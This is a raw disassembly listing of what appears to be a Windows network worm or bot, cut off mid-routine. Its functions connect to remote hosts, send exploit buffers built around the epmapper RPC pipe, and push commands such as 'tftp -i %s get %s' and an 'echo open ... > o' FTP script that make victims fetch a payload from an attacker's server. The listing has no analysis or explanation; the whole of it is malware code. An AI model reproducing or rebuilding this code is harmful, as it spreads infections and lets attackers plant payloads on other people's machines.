"\\\\%s\\pipe\\epmapper" push eax call sub_4172B0 add esp, 0Ch xor ebx, ebx lea eax, [ebp+var_138] push ebx push 80h push 3 push ebx push 1 push 0C0000000h push eax call near ptr 2640000h nop cmp eax, 0FFFFFFFFh mov [ebp+var_4], eax jnz short loc_402E5C loc_402E4D: ; CODE XREF: sub_402DD7+126j lea eax, [ebp+arg_4] push eax call sub_402ACC pop ecx jmp loc_403055 ; --------------------------------------------------------------------------- loc_402E5C: ; CODE XREF: sub_402DD7+74j lea eax, [ebp+arg_4] push 2 push eax call sub_40D4C5 pop ecx lea esi, [ebp+arg_0] pop ecx push 1 push eax lea eax, [ebp+var_10] push eax sub esp, 0BCh push 2Fh pop ecx mov edi, esp rep movsd call sub_402B84 add esp, 0C8h cmp eax, ebx mov [ebp+var_8], eax jz short loc_402EF4 mov edi, 186A0h push edi call sub_417B89 mov esi, eax push edi push ebx push esi call sub_417330 add esp, 10h lea eax, [ebp+var_C] mov edi, 2710h push ebx push eax push edi push esi push 48h push offset dword_427648 push [ebp+var_4] nop call near ptr 26307E3h cmp byte ptr [esi+2], 0Ch jnz short loc_402EE4 lea eax, [ebp+var_14] push ebx push eax push [ebp+var_10] push [ebp+var_8] push [ebp+var_4] call near ptr 2630000h nop test eax, eax jnz short loc_402F02 loc_402EE4: ; CODE XREF: sub_402DD7+F3j push esi call sub_417C3B push [ebp+var_8] call sub_417C3B pop ecx pop ecx loc_402EF4: ; CODE XREF: sub_402DD7+B9j push [ebp+var_4] nop call near ptr 2621910h jmp loc_402E4D ; --------------------------------------------------------------------------- loc_402F02: ; CODE XREF: sub_402DD7+10Bj lea eax, [ebp+var_C] push ebx push eax push edi push esi push [ebp+var_4] call near ptr 26210C4h nop push [ebp+var_8] mov edi, eax call sub_417C3B push esi call sub_417C3B pop ecx pop ecx push [ebp+var_4] nop call near ptr 2621910h lea eax, [ebp+arg_4] push eax call sub_402ACC cmp edi, 1 pop ecx jnz loc_403066 jmp loc_403055 ; --------------------------------------------------------------------------- loc_402F45: ; CODE XREF: sub_402DD7+1Aj lea eax, [ebp+arg_4] push 1 push eax call sub_40D4C5 mov esi, eax pop ecx cmp esi, 1 pop ecx jz loc_403055 xor ebx, ebx push ebx push 1 push 2 call dword_43F6E8 cmp eax, 0FFFFFFFFh mov [ebp+var_4], eax jz loc_403055 push 10h lea eax, [ebp+var_24] push ebx push eax call sub_417330 add esp, 0Ch mov [ebp+var_24], 2 push [ebp+arg_A0] call dword_43F668 mov [ebp+var_22], ax lea eax, [ebp+arg_4] push eax call dword_43F6A8 mov [ebp+var_20], eax push ebx lea eax, [ebp+var_C] push esi push eax lea esi, [ebp+arg_0] sub esp, 0BCh push 2Fh pop ecx mov edi, esp rep movsd call sub_402B84 mov esi, eax add esp, 0C8h cmp esi, ebx mov [ebp+var_8], esi jnz short loc_402FD7 push [ebp+var_4] jmp short loc_40304F ; --------------------------------------------------------------------------- loc_402FD7: ; CODE XREF: sub_402DD7+1F9j mov edi, [ebp+var_4] lea eax, [ebp+var_24] push 10h push eax push edi call dword_43F610 cmp eax, 0FFFFFFFFh jnz short loc_402FEF loc_402FEC: ; CODE XREF: sub_402DD7+22Aj push esi jmp short loc_403048 ; --------------------------------------------------------------------------- loc_402FEF: ; CODE XREF: sub_402DD7+213j push ebx push 48h push offset dword_427648 push edi call dword_43F6B8 cmp eax, 0FFFFFFFFh jz short loc_402FEC mov esi, 1000h push ebx lea eax, [ebp+var_1338] push esi push eax push edi call dword_43F680 push ebx push [ebp+var_C] push [ebp+var_8] push edi call dword_43F6B8 cmp eax, 0FFFFFFFFh jnz short loc_403030 push [ebp+var_8] jmp short loc_403048 ; --------------------------------------------------------------------------- loc_403030: ; CODE XREF: sub_402DD7+252j push ebx lea eax, [ebp+var_1338] push esi push eax push edi call dword_43F680 push [ebp+var_8] cmp eax, 0FFFFFFFFh jnz short loc_403059 loc_403048: ; CODE XREF: sub_402DD7+216j ; sub_402DD7+257j call sub_417C3B pop ecx push edi loc_40304F: ; CODE XREF: sub_402DD7+1FEj call dword_43F700 loc_403055: ; CODE XREF: sub_402DD7+31j ; sub_402DD7+80j ... xor eax, eax jmp short loc_4030C7 ; --------------------------------------------------------------------------- loc_403059: ; CODE XREF: sub_402DD7+26Fj call sub_417C3B pop ecx push edi call dword_43F700 loc_403066: ; CODE XREF: sub_402DD7+163j lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_338] push offset unk_427B78 push eax call sub_4172B0 add esp, 0Ch loc_40307E: ; CODE XREF: sub_402DD7+2C7j lea eax, [ebp+var_338] push eax call sub_40C04D test eax, eax pop ecx jnz short loc_4030A2 push 1388h call near ptr 2600833h nop inc ebx cmp ebx, 6 jl short loc_40307E jmp short loc_4030C4 ; --------------------------------------------------------------------------- loc_4030A2: ; CODE XREF: sub_402DD7+2B6j lea eax, [ebp+var_338] push eax call sub_40BF6D mov eax, [ebp+arg_A8] pop ecx imul eax, 3Ch inc dword_42ACB8[eax] lea eax, dword_42ACB8[eax] loc_4030C4: ; CODE XREF: sub_402DD7+2C9j push 1 pop eax loc_4030C7: ; CODE XREF: sub_402DD7+280j pop edi pop esi pop ebx leave retn sub_402DD7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4030CC proc near ; DATA XREF: ___:00426004o jmp $+5 sub_4030CC endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4030D1 proc near push 0BB80h push 76Ch call sub_415450 pop ecx mov dword_43C810, eax pop ecx retn sub_4030D1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4030E8 proc near ; CODE XREF: sub_403249+42Ap var_5A0 = byte ptr -5A0h var_1A0 = byte ptr -1A0h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp sub esp, 5A0h push ebx push esi push edi xor esi, esi push 10h lea eax, [ebp+var_10] push esi push eax call sub_417330 add esp, 0Ch lea eax, [ebp+arg_4] mov [ebp+var_10], 2 push eax call dword_43F6A8 mov [ebp+var_C], eax mov ax, word ptr dword_43C810 push eax call dword_43F668 push esi push 1 push 2 mov [ebp+var_E], ax call dword_43F6E8 mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_403222 lea eax, [ebp+var_10] push 10h push eax push ebx call dword_43F610 cmp eax, 0FFFFFFFFh jz loc_403222 push esi lea eax, [ebp+var_5A0] push 400h push eax push ebx call dword_43F680 mov esi, offset byte_42F678 push esi push esi push [ebp+arg_0] call sub_40AEE0 pop ecx mov edi, 190h push eax push offset aTftpISGetS ; "tftp -i %s get %s\r\n" lea eax, [ebp+var_1A0] push edi push eax call sub_41782A add esp, 18h push esi push esi push dword_43C83C push [ebp+arg_0] call sub_40AEE0 pop ecx push eax push offset aEchoOpenSDOEch ; "echo open %s %d > o&echo user 1 1 >> o "... lea eax, [ebp+var_1A0] push edi push eax call sub_41782A add esp, 1Ch lea eax, [ebp+var_1A0] push 0 push eax call sub_417AB0 pop ecx push eax lea eax, [ebp+var_1A0] push eax push ebx call dword_43F6B8 cmp eax, 0FFFFFFFFh jz short loc_403222 push 1F4h nop call near ptr 2600833h push esi push offset dword_428598 lea eax, [ebp+var_1A0] push edi push eax call sub_41782A add esp, 10h lea eax, [ebp+var_1A0] push 0 push eax call sub_417AB0 pop ecx push eax lea eax, [ebp+var_1A0] push eax push ebx call dword_43F6B8 cmp eax, 0FFFFFFFFh jnz short loc_403226 loc_403222: ; CODE XREF: sub_4030E8+51j ; sub_4030E8+67j ... xor al, al jmp short loc_403244 ; --------------------------------------------------------------------------- loc_403226: ; CODE XREF: sub_4030E8+138j push 0 lea eax, [ebp+var_5A0] push 400h push eax push ebx call dword_43F680 push ebx call dword_43F700 mov al, 1 loc_403244: ; CODE XREF: sub_4030E8+13Cj pop edi pop esi pop ebx leave retn sub_4030E8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403249 proc near ; CODE XREF: ___:004037ADp ; ___:004037CFp var_89B4 = byte ptr -89B4h var_894C = byte ptr -894Ch var_68DC = byte ptr -68DCh var_686C = byte ptr -686Ch var_5DA8 = byte ptr -5DA8h var_4804 = byte ptr -4804h var_4803 = byte ptr -4803h var_3770 = byte ptr -3770h var_2CAC = byte ptr -2CACh var_2CAB = byte ptr -2CABh var_2CA8 = byte ptr -2CA8h var_2C2C = byte ptr -2C2Ch var_245C = byte ptr -245Ch var_1FB1 = byte ptr -1FB1h var_1CC4 = byte ptr -1CC4h var_14E0 = byte ptr -14E0h var_14D0 = byte ptr -14D0h var_11AC = byte ptr -11ACh var_11A8 = byte ptr -11A8h var_119C = byte ptr -119Ch var_F14 = byte ptr -0F14h var_E74 = byte ptr -0E74h var_768 = dword ptr -768h var_758 = byte ptr -758h var_744 = byte ptr -744h var_104 = byte ptr -104h var_103 = byte ptr -103h var_B4 = byte ptr -0B4h var_B1 = byte ptr -0B1h var_87 = byte ptr -87h var_85 = byte ptr -85h var_84 = byte ptr -84h var_3C = byte ptr -3Ch var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_2 = byte ptr -2 var_1 = byte ptr -1 arg_0 = byte ptr 8 arg_4 = byte ptr 0Ch arg_BC = dword ptr 0C4h arg_C0 = dword ptr 0C8h push ebp mov ebp, esp mov eax, 89B4h call sub_417B30 mov eax, dword_428634 push ebx mov [ebp+var_10], eax mov eax, dword_428638 mov [ebp+var_C], eax push esi lea eax, [ebp+arg_4] push edi push eax lea eax, [ebp+var_3C] push offset loc_428628 push eax call sub_4172B0 add esp, 0Ch xor ebx, ebx xor esi, esi lea eax, [ebp+var_103] loc_403288: ; CODE XREF: sub_403249+4Ej mov cl, [ebp+esi+var_3C] inc esi mov [eax-1], cl mov [eax], bl inc eax inc eax cmp esi, 28h jl short loc_403288 push 60h lea eax, [ebp+var_B4] push offset dword_4280B8 push eax call sub_417390 lea eax, [ebp+var_3C] push eax call sub_417AB0 shl eax, 1 push eax lea eax, [ebp+var_104] push eax lea eax, [ebp+var_84] push eax call sub_417390 add esp, 1Ch lea eax, [ebp+var_3C] push 9 push (offset aC+3) push eax call sub_417AB0 pop ecx lea eax, [ebp+eax*2+var_85] push eax call sub_417390 lea eax, [ebp+var_3C] push eax call sub_417AB0 add al, 1Ah push 1 shl al, 1 mov [ebp+var_1], al lea eax, [ebp+var_1] push eax lea eax, [ebp+var_B1] push eax call sub_417390 lea eax, [ebp+var_3C] push eax call sub_417AB0 shl al, 1 add al, 9 push 1 mov [ebp+var_2], al lea eax, [ebp+var_2] push eax lea eax, [ebp+var_87] push eax call sub_417390 mov ax, word ptr dword_43C810 add esp, 2Ch push eax call dword_43F668 xor eax, 9999h push 2 mov [ebp+var_8], eax lea eax, [ebp+var_8] push eax push offset dword_427DB8 call sub_417390 add esp, 0Ch cmp [ebp+arg_C0], ebx jz loc_403445 mov edi, 0DACh lea eax, [ebp+var_1CC4] push edi push 90h push eax call sub_417330 mov eax, [ebp+arg_C0] push 4 imul eax, 3Ch lea eax, dword_4284E0[eax] mov [ebp+var_14], eax push eax lea eax, [ebp+var_14E0] push eax call sub_417390 mov esi, offset loc_427D08 push esi call sub_417AB0 push eax lea eax, [ebp+var_14D0] push esi push eax call sub_417390 push 4 lea eax, [ebp+var_11AC] push offset loc_428620 push eax call sub_417390 push 4 lea eax, [ebp+var_11A8] push [ebp+var_14] push eax call sub_417390 add esp, 40h push esi call sub_417AB0 push eax lea eax, [ebp+var_119C] push esi push eax call sub_417390 add esp, 10h xor esi, esi lea eax, [ebp+var_4803] loc_4033FE: ; CODE XREF: sub_403249+1C6j mov cl, [ebp+esi+var_1CC4] inc esi mov [eax-1], cl mov [eax], bl inc eax inc eax cmp esi, edi jl short loc_4033FE mov esi, 1C52h lea eax, [ebp+var_89B4] push esi push 31h push eax mov [ebp+var_2CAC], bl mov [ebp+var_2CAB], bl call sub_417330 push esi lea eax, [ebp+var_68DC] push 31h push eax call sub_417330 add esp, 18h jmp short loc_40349C ; --------------------------------------------------------------------------- loc_403445: ; CODE XREF: sub_403249+118j push 7D0h lea eax, [ebp+var_F14] push 90h push eax call sub_417330 mov esi, offset loc_427D08 push esi call sub_417AB0 push eax lea eax, [ebp+var_E74] push esi push eax call sub_417390 lea eax, [ebp+var_10] push eax call sub_417AB0 push eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_758] push eax call sub_417390 mov eax, dword_4284E0 add esp, 2Ch mov [ebp+var_768], eax loc_40349C: ; CODE XREF: sub_403249+1FAj push 0E29h lea eax, [ebp+var_2CA8] push 31h push eax call sub_417330 movsx eax, [ebp+var_1] mov edi, [ebp+arg_BC] add esp, 0Ch add eax, 4 push ebx push eax lea eax, [ebp+var_B4] push eax push edi call dword_43F6B8 cmp eax, 0FFFFFFFFh jnz short loc_4034DB loc_4034D4: ; CODE XREF: sub_403249+2B9j ; sub_403249+2E0j ... xor al, al jmp loc_403683 ; --------------------------------------------------------------------------- loc_4034DB: ; CODE XREF: sub_403249+289j mov esi, 640h push ebx lea eax, [ebp+var_744] push esi push eax push edi call dword_43F680 push ebx push 68h push offset dword_42811C push edi call dword_43F6B8 cmp eax, 0FFFFFFFFh jz short loc_4034D4 push ebx lea eax, [ebp+var_744] push esi push eax push edi call dword_43F680 push ebx push 0A0h push offset dword_428188 push edi call dword_43F6B8 cmp eax, 0FFFFFFFFh jz short loc_4034D4 push ebx lea eax, [ebp+var_744] push esi push eax push edi call dword_43F680 cmp [ebp+arg_C0], ebx jz loc_4035F1 push 68h lea eax, [ebp+var_89B4] push offset dword_428340 push eax call sub_417390 lea eax, [ebp+var_4804] push 1B5Ah push eax lea eax, [ebp+var_894C] push eax call sub_417390 push 70h lea eax, [ebp+var_68DC] push offset dword_4283AC push eax call sub_417390 lea eax, [ebp+var_3770] push 0A5Eh push eax lea eax, [ebp+var_686C] push eax call sub_417390 push 84h lea eax, [ebp+var_5DA8] push offset dword_428420 push eax call sub_417390 add esp, 3Ch lea eax, [ebp+var_89B4] push ebx push 10FCh push eax push edi call dword_43F6B8 cmp eax, 0FFFFFFFFh jz loc_4034D4 push ebx lea eax, [ebp+var_744] push esi push eax push edi call dword_43F680 push ebx push 0FDCh lea eax, [ebp+var_68DC] jmp short loc_403647 ; --------------------------------------------------------------------------- loc_4035F1: ; CODE XREF: sub_403249+2F8j push 7Ch lea eax, [ebp+var_2CA8] push offset dword_42822C push eax call sub_417390 lea eax, [ebp+var_F14] push 7D0h push eax lea eax, [ebp+var_2C2C] push eax call sub_417390 push 90h lea eax, [ebp+var_245C] push offset off_4282AC push eax call sub_417390 add esp, 24h mov [ebp+var_1FB1], bl lea eax, [ebp+var_2CA8] push ebx push 0CF8h loc_403647: ; CODE XREF: sub_403249+3A6j push eax push edi call dword_43F6B8 cmp eax, 0FFFFFFFFh jz loc_4034D4 push 12Ch nop call near ptr 2600833h sub esp, 0BCh lea esi, [ebp+arg_0] push 2Fh pop ecx mov edi, esp rep movsd call sub_4030E8 add esp, 0BCh test al, al setnz al loc_403683: ; CODE XREF: sub_403249+28Dj pop edi pop esi pop ebx leave retn sub_403249 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 854h push ebx push esi push edi push 0BB80h push 76Ch call sub_415450 xor edi, edi push 10h lea eax, [ebp-14h] push edi push eax mov [ebp-4], edi call sub_417330 add esp, 14h lea eax, [ebp+0Ch] mov word ptr [ebp-14h], 2 push eax call dword_43F6A8 push dword ptr [ebp+0A8h] mov [ebp-10h], eax call dword_43F668 push 6 push 1 push 2 mov [ebp-12h], ax call dword_43F6E8 mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_403790 lea eax, [ebp-14h] push 10h push eax push ebx call dword_43F610 cmp eax, 0FFFFFFFFh jz loc_403790 push edi push 89h push offset dword_427EA0 push ebx call dword_43F6B8 cmp eax, 0FFFFFFFFh jz short loc_403790 mov esi, 640h push edi lea eax, [ebp-654h] push esi push eax push ebx call dword_43F680 push edi push 0A8h push offset dword_427F2C push ebx call dword_43F6B8 cmp eax, 0FFFFFFFFh jz short loc_403790 push edi lea eax, [ebp-654h] push esi push eax push ebx call dword_43F680 push edi push 0DEh push offset dword_427FD8 push ebx call dword_43F6B8 cmp eax, 0FFFFFFFFh jz short loc_403790 push edi lea eax, [ebp-654h] push esi push eax push ebx call dword_43F680 movsx eax, byte ptr [ebp-610h] sub eax, 30h jz short loc_40379A dec eax jz short loc_403797 loc_403790: ; CODE XREF: ___:004036EBj ; ___:00403701j ... xor eax, eax jmp loc_403817 ; --------------------------------------------------------------------------- loc_403797: ; CODE XREF: ___:0040378Ej push edi jmp short loc_4037BE ; --------------------------------------------------------------------------- loc_40379A: ; CODE XREF: ___:0040378Bj push 2 push ebx sub esp, 0BCh lea esi, [ebp+8] push 2Fh pop ecx mov edi, esp rep movsd call sub_403249 add esp, 0C4h test al, al jnz short loc_4037DE push 1 loc_4037BE: ; CODE XREF: ___:00403798j push ebx lea esi, [ebp+8] sub esp, 0BCh push 2Fh pop ecx mov edi, esp rep movsd call sub_403249 add esp, 0C4h test al, al jz short loc_4037E5 loc_4037DE: ; CODE XREF: ___:004037BAj mov dword ptr [ebp-4], 1 loc_4037E5: ; CODE XREF: ___:004037DCj push ebx call dword_43F700 cmp dword ptr [ebp-4], 0 jz short loc_403814 lea eax, [ebp-854h] push eax call sub_40BF6D mov eax, [ebp+0B0h] pop ecx imul eax, 3Ch inc dword_42ACB8[eax] lea eax, dword_42ACB8[eax] loc_403814: ; CODE XREF: ___:004037F0j push 1 pop eax loc_403817: ; CODE XREF: ___:00403792j pop edi pop esi pop ebx leave retn ; =============== S U B R O U T I N E ======================================= sub_40381C proc near ; CODE XREF: sub_403A90+Ep ; sub_403A90+33p ... mov eax, ecx and dword ptr [eax+4], 0 and dword ptr [eax], 0 retn sub_40381C endp ; =============== S U B R O U T I N E ======================================= sub_403826 proc near ; CODE XREF: sub_403A90+11Ep arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx mov ebx, [esp+4+arg_4] push esi push edi mov esi, ecx push ebx call sub_417B89 mov edi, eax pop ecx test edi, edi jz short loc_403858 push ebx push 0 push edi call sub_417330 push ebx push [esp+1Ch+arg_0] push edi call sub_417390 add esp, 18h mov [esi+4], ebx mov [esi], edi loc_403858: ; CODE XREF: sub_403826+14j mov eax, esi pop edi pop esi pop ebx retn 8 sub_403826 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403860 proc near ; CODE XREF: sub_40395A+18p ; sub_4039D4+16p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp mov eax, [ebp+arg_4] push ebx mov ebx, ecx push esi mov ecx, [ebp+arg_C] push edi lea edi, [eax+ecx] push edi call sub_417B89 mov esi, eax pop ecx test esi, esi jz short loc_4038AC push edi push 0 push esi call sub_417330 push [ebp+arg_4] push [ebp+arg_0] push esi call sub_417390 push [ebp+arg_C] mov eax, [ebp+arg_4] add eax, esi push [ebp+arg_8] push eax call sub_417390 add esp, 24h mov [ebx+4], edi mov [ebx], esi loc_4038AC: ; CODE XREF: sub_403860+1Cj pop edi mov eax, ebx pop esi pop ebx pop ebp retn 10h sub_403860 endp ; =============== S U B R O U T I N E ======================================= sub_4038B5 proc near ; CODE XREF: sub_40395A+5Ep ; sub_40395A+6Fp ... push esi mov esi, ecx mov eax, [esi] test eax, eax jz short loc_4038C5 push eax call sub_417C3B pop ecx loc_4038C5: ; CODE XREF: sub_4038B5+7j and dword ptr [esi+4], 0 and dword ptr [esi], 0 pop esi retn sub_4038B5 endp ; =============== S U B R O U T I N E ======================================= sub_4038CE proc near ; CODE XREF: sub_40395A+20p ; sub_403A35+8p ... push ebx push esi mov esi, ecx push edi mov eax, [esi+4] cmp eax, 0FFFFh jge short loc_4038FB xor ebx, ebx cmp eax, 7Fh setnl bl dec ebx and ebx, 0FFFFFFFEh add ebx, 3 add eax, ebx push eax call sub_417B89 mov edi, eax pop ecx test edi, edi jnz short loc_4038FF loc_4038FB: ; CODE XREF: sub_4038CE+Dj xor al, al jmp short loc_403956 ; --------------------------------------------------------------------------- loc_4038FF: ; CODE XREF: sub_4038CE+2Bj mov eax, ebx add eax, [esi+4] push eax push 0 push edi call sub_417330 add esp, 0Ch cmp ebx, 1 jnz short loc_403924 mov al, [esi+4] mov [edi], al push dword ptr [esi+4] lea eax, [edi+1] push dword ptr [esi] jmp short loc_40393E ; --------------------------------------------------------------------------- loc_403924: ; CODE XREF: sub_4038CE+45j mov byte ptr [edi], 82h mov eax, [esi+4] sar eax, 8 mov [edi+1], al mov al, [esi+4] mov [edi+2], al push dword ptr [esi+4] lea eax, [edi+3] push dword ptr [esi] loc_40393E: ; CODE XREF: sub_4038CE+54j push eax call sub_417390 add esp, 0Ch push dword ptr [esi] call sub_417C3B add [esi+4], ebx pop ecx mov [esi], edi mov al, 1 loc_403956: ; CODE XREF: sub_4038CE+2Fj pop edi pop esi pop ebx retn sub_4038CE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40395A proc near ; CODE XREF: sub_403A90+89p ; sub_403A90+E3p ... var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ecx push esi mov esi, ecx push edi lea ecx, [ebp+var_8] push dword ptr [esi+4] push dword ptr [esi] push 1 push offset dword_43C824 call sub_403860 lea ecx, [ebp+var_8] call sub_4038CE mov eax, [ebp+var_4] inc eax push eax call sub_417B89 mov edi, eax pop ecx test edi, edi jnz short loc_403994 xor al, al jmp short loc_4039D0 ; --------------------------------------------------------------------------- loc_403994: ; CODE XREF: sub_40395A+34j mov eax, [ebp+var_4] inc eax push eax push 0 push edi call sub_417330 mov byte ptr [edi], 3 push [ebp+var_4] lea eax, [edi+1] push [ebp+var_8] push eax call sub_417390 add esp, 18h mov ecx, esi call sub_4038B5 mov eax, [ebp+var_4] lea ecx, [ebp+var_8] inc eax mov [esi], edi mov [esi+4], eax call sub_4038B5 mov al, 1 loc_4039D0: ; CODE XREF: sub_40395A+38j pop edi pop esi leave retn sub_40395A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4039D4 proc near ; CODE XREF: sub_403A08+14p ; sub_403A25+8p ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx push esi mov esi, ecx push [ebp+arg_4] lea ecx, [ebp+var_8] push [ebp+arg_0] push dword ptr [esi+4] push dword ptr [esi] call sub_403860 mov ecx, esi call sub_4038B5 mov eax, [ebp+var_8] mov [esi], eax mov eax, [ebp+var_4] mov [esi+4], eax mov al, 1 pop esi leave retn 8 sub_4039D4 endp ; =============== S U B R O U T I N E ======================================= sub_403A08 proc near ; CODE XREF: sub_403A90+F0p ; sub_403A90+15Bp ... arg_0 = dword ptr 4 push esi mov esi, ecx push [esp+4+arg_0] call sub_417AB0 pop ecx push eax mov ecx, esi push [esp+8+arg_0] call sub_4039D4 pop esi retn 4 sub_403A08 endp ; =============== S U B R O U T I N E ======================================= sub_403A25 proc near ; CODE XREF: sub_403A71+Bp ; sub_403A90+1A1p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push [esp+arg_4] push [esp+4+arg_0] call sub_4039D4 retn 8 sub_403A25 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403A35 proc near ; CODE XREF: sub_403A71+16p ; sub_403A90+91p ... var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ecx push esi mov esi, ecx call sub_4038CE test al, al jz short loc_403A6E push dword ptr [esi+4] lea ecx, [ebp+var_8] push dword ptr [esi] push 1 push (offset loc_4289A7+1) call sub_403860 mov ecx, esi call sub_4038B5 mov eax, [ebp+var_8] mov [esi], eax mov eax, [ebp+var_4] mov [esi+4], eax mov al, 1 loc_403A6E: ; CODE XREF: sub_403A35+Fj pop esi leave retn sub_403A35 endp ; =============== S U B R O U T I N E ======================================= sub_403A71 proc near ; CODE XREF: sub_403A90+134p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, ecx push [esp+4+arg_4] push [esp+8+arg_0] call sub_403A25 test al, al jz short loc_403A8C mov ecx, esi call sub_403A35 loc_403A8C: ; CODE XREF: sub_403A71+12j pop esi retn 8 sub_403A71 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403A90 proc near ; CODE XREF: ___:00404315p var_858 = byte ptr -858h var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 858h push ebx push edi lea ecx, [ebp+var_48] call sub_40381C mov edi, 408h cmp [ebp+arg_8], edi jg loc_403DE4 mov ebx, [ebp+arg_10] lea eax, [ebx+8] cmp eax, edi ja loc_403DE4 push esi lea ecx, [ebp+var_30] call sub_40381C lea ecx, [ebp+var_20] call sub_40381C lea ecx, [ebp+var_50] call sub_40381C lea ecx, [ebp+var_18] call sub_40381C lea ecx, [ebp+var_40] call sub_40381C lea ecx, [ebp+var_38] call sub_40381C lea ecx, [ebp+var_28] call sub_40381C push 4 push offset dword_428648 lea ecx, [ebp+var_30] call sub_4039D4 push 3 push offset dword_428650 lea ecx, [ebp+var_30] call sub_4039D4 lea ecx, [ebp+var_30] call sub_40395A lea ecx, [ebp+var_30] call sub_403A35 mov esi, 800h lea eax, [ebp+var_858] push esi push 42h push eax call sub_417330 add esp, 0Ch lea ecx, [ebp+var_20] push 8 push offset byte_42863C call sub_4039D4 push ebx lea ecx, [ebp+var_20] push [ebp+arg_C] call sub_4039D4 mov eax, 409h lea ecx, [ebp+var_20] sub eax, [ebp+var_1C] push eax lea eax, [ebp+var_858] push eax call sub_4039D4 lea ecx, [ebp+var_20] call sub_40395A push offset loc_4289D0 lea ecx, [ebp+var_50] call sub_403A08 lea ecx, [ebp+var_50] call sub_40395A push esi lea eax, [ebp+var_858] push 44h push eax call sub_417330 add esp, 0Ch lea eax, [ebp+var_858] lea ecx, [ebp+var_58] push 410h push eax call sub_403826 lea ecx, [ebp+var_58] call sub_40395A push [ebp+var_54] lea ecx, [ebp+var_50] push [ebp+var_58] call sub_403A71 lea ecx, [ebp+var_58] call sub_4038B5 push esi lea eax, [ebp+var_858] push 43h push eax call sub_417330 add esp, 0Ch push offset aCccc ; "CCCC" lea ecx, [ebp+var_18] call sub_403A08 push 4 push offset dword_428654 lea ecx, [ebp+var_18] call sub_4039D4 push [ebp+arg_8] lea ecx, [ebp+var_18] push [ebp+arg_4] call sub_4039D4 sub edi, [ebp+arg_8] lea eax, [ebp+var_858] lea ecx, [ebp+var_18] push edi push eax call sub_4039D4 lea ecx, [ebp+var_18] call sub_40395A push [ebp+var_14] lea ecx, [ebp+var_40] push [ebp+var_18] call sub_403A25 push [ebp+var_4C] lea ecx, [ebp+var_40] push [ebp+var_50] call sub_403A25 lea ecx, [ebp+var_40] call sub_403A35 lea ecx, [ebp+var_18] call sub_4038B5 lea ecx, [ebp+var_50] call sub_4038B5 push [ebp+var_1C] lea ecx, [ebp+var_38] push [ebp+var_20] call sub_403A25 push [ebp+var_2C] lea ecx, [ebp+var_38] push [ebp+var_30] call sub_403A25 push [ebp+var_3C] lea ecx, [ebp+var_38] push [ebp+var_40] call sub_403A25 lea ecx, [ebp+var_38] call sub_403A35 lea ecx, [ebp+var_20] call sub_4038B5 lea ecx, [ebp+var_30] call sub_4038B5 lea ecx, [ebp+var_40] call sub_4038B5 push esi lea eax, [ebp+var_858] push 41h push eax call sub_417330 add esp, 0Ch lea eax, [ebp+var_858] lea ecx, [ebp+var_28] push 400h push eax call sub_4039D4 lea ecx, [ebp+var_28] call sub_40395A push 2 push offset dword_4289C4 lea ecx, [ebp+var_28] call sub_4039D4 push [ebp+var_34] lea ecx, [ebp+var_28] push [ebp+var_38] call sub_403A25 lea ecx, [ebp+var_28] call sub_403A35 lea ecx, [ebp+var_38] call sub_4038B5 lea ecx, [ebp+var_10] call sub_40381C lea ecx, [ebp+var_8] call sub_40381C push [ebp+var_24] lea ecx, [ebp+var_10] push [ebp+var_28] call sub_403A25 lea ecx, [ebp+var_10] call sub_4038CE lea ecx, [ebp+var_28] call sub_4038B5 push offset dword_4289C0 lea ecx, [ebp+var_8] call sub_403A08 push [ebp+var_C] lea ecx, [ebp+var_8] push [ebp+var_10] call sub_403A25 lea ecx, [ebp+var_8] call sub_4038CE lea ecx, [ebp+var_10] call sub_4038B5 push offset dword_4289BC lea ecx, [ebp+var_10] call sub_403A08 push [ebp+var_4] lea ecx, [ebp+var_10] push [ebp+var_8] call sub_403A25 lea ecx, [ebp+var_10] call sub_4038CE lea ecx, [ebp+var_8] call sub_4038B5 push offset dword_4289B0 lea ecx, [ebp+var_8] call sub_403A08 push [ebp+var_C] lea ecx, [ebp+var_8] push [ebp+var_10] call sub_403A25 lea ecx, [ebp+var_8] call sub_4038CE lea ecx, [ebp+var_10] call sub_4038B5 push 